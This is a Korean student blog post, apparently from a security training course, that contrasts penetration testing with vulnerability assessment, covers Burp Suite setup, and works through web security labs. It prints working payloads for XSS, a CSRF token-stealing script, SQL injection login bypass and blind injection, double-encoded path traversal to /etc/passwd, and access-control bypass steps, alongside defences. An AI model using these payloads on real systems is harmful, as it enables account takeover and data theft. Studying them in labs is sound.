[SK shieldus Rookies 16기][취약점 진단] 모의해킹과 취약점진단 차이점, Burp Suit 설정방법, 취약점진단 실습

Jina·2023년 12월 11일
0

SK shieldus Rookies 16기

목록 보기
36/59
post-custom-banner

1. 모의해킹 vs 취약점진단

정보를 처음부터 알고 공격을 하는가?

모의해킹취약점진단
시나리오 기반취약점 항목 기반
화이트박스 기반 점검블랙박스 기반 점검
Zero Base → 공격수행담당자 정보 요청 → 정보수령 → 공격수행
동적진단소스코드(정적)진단
1개 서비스1개 URL
시간 소요↑(수 개월~수 년까지)상대적으로 시간소요↓

2. 취약점 진단 과정

1단계. 대상 서비스 정보 수집/획득

  • 계정 정보(ID/PW) - 관리자/사용자
  • 도메인 정보
  • 서비스 접근 정보
  • 서비스 구성도 및 아키텍처

2단계. 환경분석(서비스 분석)

  • 서비스 구조 및 동작 방식 파악
  • 인프라 및 애플리케이션 관련 정보 유추
  • 구성도 및 아키텍처 분석

환경분석 목적
1. 제한된 시간에 효율적으로 취약점진단을 하기 위함
2. 서비스에 대한 이해를 위함

3단계. 취약점 진단 수행

  • 화사별 자체 또는 KISA 보안가이드 기반 항목 진단 수행
  • 스크립트 활용
  • 진단자의 역량에 따라 식별되는 취약점 범위 및 Depth가 다양함

4단계. 보고서 작성 및 취약점 리뷰

  • 식별된 취약점 정리 및 보고서 작성
  • 담당자 보고서 전달 및 취약점 결과 리뷰

5단계. 취약점 조치 및 이행점검 수행

  • 조치된 취약점 이행점검 수행 및 보고서 작성

CVE 란?
Common Vulnerabilities and Exposures의 약어로 공개적으로 알려진 컴퓨터 보안 결함 목록에 고유 넘버링을 한 것을 말한다.

3. 실습 환경

3.1. 필수 설치

- JDK 8 다운로드

3.2. 회원가입 및 교육 사이트

3.3. BURP SUIT 설정

3.4. 인증서 다운받기 및 설정

  1. http://burp/ 접속 > 인증서 다운로드

  2. 인증서 더블 클릭

  3. 인증서 가져오기

4. XSS/CSRF 공격

특정 페이지나 기능에 악의적인 스크립트를 삽입하여 공격자가 의도한대로 행동하도록 하는 공격

  • 결과
    • 사용자 정보 유출 및 탈취
    • 사용자 인증 도용
    • 악성코드 유포 및 브라우저 무한 반복 등의 공격
  • 공격 포인트
    • 사용자로부터 입력들어오는 모든 파라미터
  • 종류
    • Reflected XSS
      • 피싱메일 / 스미싱 링크(발생가능성↑)
    • Stored XSS
      • 가장 위험한 공격 ⇒ DB/서버에 악의적인 스크립트가 저장되어 공격자가 지속적으로 호출 할 수 있기 때문이다.
    • DOM-Based XSS
      • 서버를 거치지 않는 XSS
      • 클라이언트 언어에서 개발적 결함 보안상 안전하지 않은 함수
      • Reflected XSS와 공통점? 악의적 스크립트가 서버/DB에 저장되지 않는 상황에서 발생되는 XSS
      • 단독으로 수행 불가
  • 해결방안
    최선 > 차선 > 차차선 ⇒ 최선의 방법을 적용하지 못할 시 아래 차선책들을 적용해본다.
  • 보안 대책
    • 특수문자 필터링
    • 키워드 필터링
    • 오픈소스 XXS 필터링 라이브러리 적용(Lucy-filter, Anti-Samt)
    • 보안 장비 내 XXS필터링(정책활용 WAF)

실습문제1

Reflected XSS into HTML context with nothing encoded

This lab contains a stored cross-site scripting vulnerability in the comment functionality.
To solve this lab, submit a comment that calls the alert function when the blog post is viewed.

<script>alert("xss")</script>
<a herf="javascript:alert('XSS')"></a>

실습문제2

DOM XSS in innerHTML sink using source location.search

This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an innerHTML assignment, which changes the HTML contents of a div element, using data from location.search.

To solve this lab, perform a cross-site scripting attack that calls the alert function.

일단 Burp Suit로 확인해보면 Search 부분이 다음과 같이 되어 있다.

Window.location.search.get(search) 
// 현재페이지 URL에서 ? 뒤에 있는 search 값을 가져와라

검색창에 잘못된 값을 부여해 함수 호출하기.

<img src='1' onerror=alert('xss')>

실습문제3

Reflected XSS into a JavaScript string with single quote and backslash escaped

This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality. The reflection occurs inside a JavaScript string with single quotes and backslashes escaped.

To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the alert function.

검색창에 스크립트 구문을 넣어보면 스크립트가 문자열로 인식되는 것을 알 수 있다.

<script>alert(1)</script>

스크립트 구문을 연속으로 써서 스크립트를 이스케이프할 수 있다.

<script>alert(1)</script><script>alert(2)</script>

웹사이트는 보통 사용자의 입력을 처리하기 위해 특정 문자열 패턴을 찾아 필터링하거나 이스케이프하기 위해 <script> 태그를 찾아서 처리하게 된다고 한다. 그런데 이런 처리가 완벽하지 않을 경우, <script> 태그가 여러 개 연속으로 나타나는 경우에는 첫 번째 태그만 필터링하거나 이스케이프하고 나머지 태그를 놓칠 수 있습니다고 한다.

실습문제4 - CSRF 취약점 문제

Exploiting XSS to perform CSRF

This lab contains a stored XSS vulnerability in the blog comments function. To solve the lab, exploit the vulnerability to perform a CSRF attack and change the email address of someone who views the blog post comments.

You can log in to your own account using the following credentials: wiener:peter

  1. XXS 공격이 존재하는지 확인 - 댓글에서 확인
<script>alert(1)</script>
  1. 정보 수집(이메일 정보)
    이메일을 내 이메일에서 다른 사람 이메일로 변경

    이메일 변경 시 어떤 url을 사용하는지 확인하기

    이메일 변경 시 /my-account/change-email url을 POST형식으로 불러온다는 것을 확인

  2. CSRF 공격 구문 작성

<script>
var req = new XMLHttpRequest();
req.addEventListener('load', handleResponse);
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

댓글 Comment란에 구문 입력

XMLHttpRequest 사용법 숙지 필요
https://developer.mozilla.org/ko/docs/Web/API/XMLHttpRequest

CSRF 스크립트가 작성되어 있는 게시글로 이동하면 스크립트가 동작하는 것을 확인할 수 있다.

5. SQL Injection 공격

  • OWASP Injection 공격 중 한 형태

  • 특정 페이지나 기능 사용 시 입력 값에 대한 DB 쿼리 유효성 검증을 하지 않아 DB쿼리가 조작되어 공격자가 의도한 대로 행동하도록 하는 공격

  • 결과

    • DB 내 주요 정보 유출
    • DB 내 데이터 수정/삭제
    • 인증 우회
  • 해결 방안

    • 인자화된 질의문을 사용

Time Based SQL Injection DB 시간관련 함수
UnionALL
Union

실습문제5

SQL injection vulnerability allowing login bypass

This lab contains a SQL injection vulnerability in the login function.
To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.

username만 아는 경우 SQL Injection 공격을 사용할 수 있다.

로그인 화면에서 BurpSuit로 패킷 탈취

SQL Injection의 경우 Repeater에서 확인 후 Proxy에서 Forward하기

만약 쿼리문이 아래와 같은 형태고

SELECT * FROM users WHERE username='입력한_아이디' AND password='입력한_비밀번호'

username에 administrator' OR 1=1-- 를 입력하면 쿼리문이 다음과 같이 변경된다.

SELECT * FROM users WHERE username='administrator' OR 1=1--' AND password='입력한_비밀번호'

쿼리문을 작성 시 '' 또는"" 아니면 아예 없는 경우도 있기 때문에 여러 번 시도해봐야 한다.

실습문제6

Blind SQL injection with conditional responses

This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.

The results of the SQL query are not returned, and no error messages are displayed. But the application includes a "Welcome back" message in the page if the query returns any rows.

The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.

To solve the lab, log in as the administrator user.

Cookie: TrackingId=g3CEnNB295smTEi0
' and (select 'a' and (select substring(password,1,1)from users where username='administrator' limit 1)='a;
session=ygdxXzMYdvs1yAyPElsa0PXlxBfFvm0s

6. 악성 파일 업로드 공격

게시판 등에서 악성 파일 업로드에 대한 검증이 없을 경우 이를 악용해 악성 스크립트(웹쉘) 파일이 업로드되어 원격 명령 실행, 권한 획득 등의 공격이 실행될 수 있는 보안 취약점

업로드 파일이 서버에 저장되고 해당 경로를 공격자가 파악할 수 있을 때 공격이 가능하며 업로드 후 공격자는 해당 파일에 접근해서 원하는 행위(원격 명령 실행 등)를 수행

  • 공격 포인트
    1.게시판의 첨부파일
    2.게시판 내부의 이미지 삽입 박스

    1. 게시판 내부의 동영상 첨부 부분
    2. 업로드 검증 로직이 존재할 경우 BlackList 인지 WhiteList 인지 확인
    3. 환경 분석을 통한 환경에 맞는 웹쉘 사용
  • 해결방안

    • 최선 : 확장자검증(화이트리스트)
    • 차선
      • 확장자 검증(블랙리스트) 권고사항X
      • 우회공격을 방지하기 위해 특수문자 필터링 /Null /; /.jpg.jsp /.jsp;jpg
      • 업로드된 디렉터리나 파일 실행권한 제거
    • 차차선 : 업로드된 경로 노출 방지(공격지연)

실습문제7

Remote code execution via web shell upload

This lab contains a vulnerable image upload function. It doesn't perform any validation on the files users upload before storing them on the server's filesystem.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

/home/carlos/secret 디렉토리에 어떤 파일이 있는지 알고 싶다.

실습문제8

7. 경로 순회 공격

Directory traversal

  • 웹을 통해 웹 어플리케이션의 소스파일 및 시스템 파일을 다운로드 할 수 있는 취약점
  • 다운로드 경로의 인수값에 ../ 문자열 등을 입력해 상위 디렉터리로 접근해서 일반적으로 접근이 불가능한 경로의 파일이 접근 또는 다운로드가 가능해짐.
  • 리눅스 및 유닉스 계열의 웹 서버에서는 /etc/passwd 와 같은 시스템 파일도 다운로드 가능
  • 해결방안
    • 파일이 위치하는 경로를 변수로 사용하지 말고 해당 파일의 키 값을 변수로 사용 하여 다운로드
      ex) http:// www.test.com/download.do?path=5&filename=test.jpg
    • 파일 위치 경로 변수를 사용할 경우 ../ ..\\ .\\ % 등 특수문자의 보안 필터링 적용

실습문제9

File path traversal, simple case

This lab contains a path traversal vulnerability in the display of product images.

To solve the lab, retrieve the contents of the /etc/passwd file.

실습문제10

File path traversal, traversal sequences stripped with superfluous URL-decode

This lab contains a path traversal vulnerability in the display of product images.

The application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it.

To solve the lab, retrieve the contents of the /etc/passwd file.

../../../etc/passwd
../../../../etc/passwd

아무리 해도 위 방법으로 /etc/passwd 파일에 접근할 수 없는 경우 ../ 이 필터링되고 있을 수 있다. 이런 경우 URL 인코딩 후 filename의 인자 값으로 입력해서 접근할 수 있다. 한 번 URL인코딩 값으로도 접근이 불가하다면 인코딩한 값을 다시 한 번 인코딩해서 두 번 인코딩한 값을 입력해 접근할 수 있다.

..%252F%252F..%252F%252F..%252F%252Fetc%252Fpasswd

8. 인증 우회 공격

  • 종류
    • 접근제어 우회 가능성 확인
      • 접근 제어 부분을 클라이언트에서 Javascript를 이용하여 체크할 경우, Javascript구문을 삭제 후 우회 공격
    • 비인증 상태로 중요 page 접근 가능성
      • 로그인 확인 모듈이 존재하지 않는 페이지에서 강제 브라우징하여 내부 page 접근 가능
    • 일반 계정 권한 상승 가능성
      • 일반 계정 로그인 상태에서 관리자 page에 접근 가능
  • 해결방법
    • 인증 권한 , 제어 , 확인 등의 과정을 처리하는 부분은 Javascript 가 아닌 Server Side Language 로 구현
    • 인증이 필요한 페이지의 경우 해당 페이지 주소를 직접 입력하여 접근하지 못하도록 페이지 각각에 대하여 로그인 체크 및 권한체크를 하도록 접근제어통제(ACL)를 수립하여 계정권한에 맞게 접근제어 설정

실습문제11

Unprotected admin functionality

This lab has an unprotected admin panel. Solve the lab by deleting the user carlos.

실습문제12

Lab: Referer-based access control

This lab controls access to certain admin functionality based on the Referer header. You can familiarize yourself with the admin panel by logging in using the credentials administrator:admin.

To solve the lab, log in using the credentials wiener:peter and exploit the flawed access controls to promote yourself to become an administrator.

wiener 세션확인 /my-account?id=wiener 패킷 Repeater에 보내기

경로는 carlos의 권한은 업그레이드 시켰을 때 나온 경로
세션 값은 wiener의 세션 값
Referer에 마지막이 /admin 경로를 추가 ⇒ 권한 업그레이드는 admin 페이지를 경유해서만 가능하기 때문이다.

HTTP Referer란?
헤더에 담겨있는 현재 페이지에서 요청한 이전 페이지의 URI 정보. 웹 서핑 시 하이퍼링크를 통해 사이트 방문 시 남는 흔적으로 A 사이트를 통해 B 사이트를 방문하면 이 Referer에 A 사이트에 대한 정보가 남는다.

이렇게 하면 admin 페이지는 administrator 계정을 통해서만 접근이 가능하기 때문에 Referer에 admin 페이지가 있다는 것은 곧 관리자라는 뜻으로 인식하기 때문에 권한 업그레이드가 가능해진다.

실습문제13

Password reset broken logic

This lab's password reset functionality is vulnerable. To solve the lab, reset Carlos's password then log in and access his "My account" page.

Your credentials: wiener:peter
Victim's username: carlos

  1. My account > Forgot password? > wiener 입력

  2. Email Client > 패스워드 리셋 URL 클릭

  3. New password / Confirm new password 입력

  4. Burp Suit > Proxy > Intercept > Intercept is on 상태로 변경

  5. Submit 클릭

  6. 가로챈 패킷 확인 > 마우스 오른쪽 버튼 클릭 > Send to Repeater

  7. usernamecarlos로 변경 후 Send 클릭

정상 동작되었으면 Proxy > Intercept로 이동

  1. 동일하게 수정 후 Forwoard > Intercept is off로 변경
  1. My account > username:carlos password:0000 입력 후 로그인 시 로그인되면 성공!
profile
공부 기록
post-custom-banner

0개의 댓글